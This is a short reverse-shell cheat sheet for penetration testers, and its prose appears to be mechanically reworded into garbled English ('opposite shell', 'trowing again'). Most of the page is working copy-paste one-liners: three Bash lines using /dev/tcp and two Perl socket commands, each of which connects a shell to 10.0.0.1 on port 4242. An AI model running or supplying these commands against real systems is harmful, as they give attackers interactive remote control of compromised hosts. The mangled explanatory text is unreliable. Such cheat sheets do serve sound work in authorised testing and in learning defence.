Reverse Shell Cheat Sheet

If you’re lucky enough to discover a command execution vulnerability in the course of a penetration take a look at it, quite quickly afterward you’ll probably want an interactive shell.

If it’s no longer feasible to add a new account / SSH key / .rhosts record and simply log in, your subsequent step is possibly to be either trowing again an opposite shell or binding a shell to a TCP port. This page offers with the previous.

Your options for creating an opposite shell are confined by using the scripting languages mounted on the goal system – even though you could probably upload a binary software too in case you’re suitably nicely prepared.

The examples shown are tailor-made to Unix-like structures. Some of the examples underneath have to also work on Windows in case you use replacement “/bin/sh -i” with “cmd.Exe”.

Each of the methods beneath is aimed to be a one-liner that you could copy/paste. As such they’re quite quick strains, however now not very readable.

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
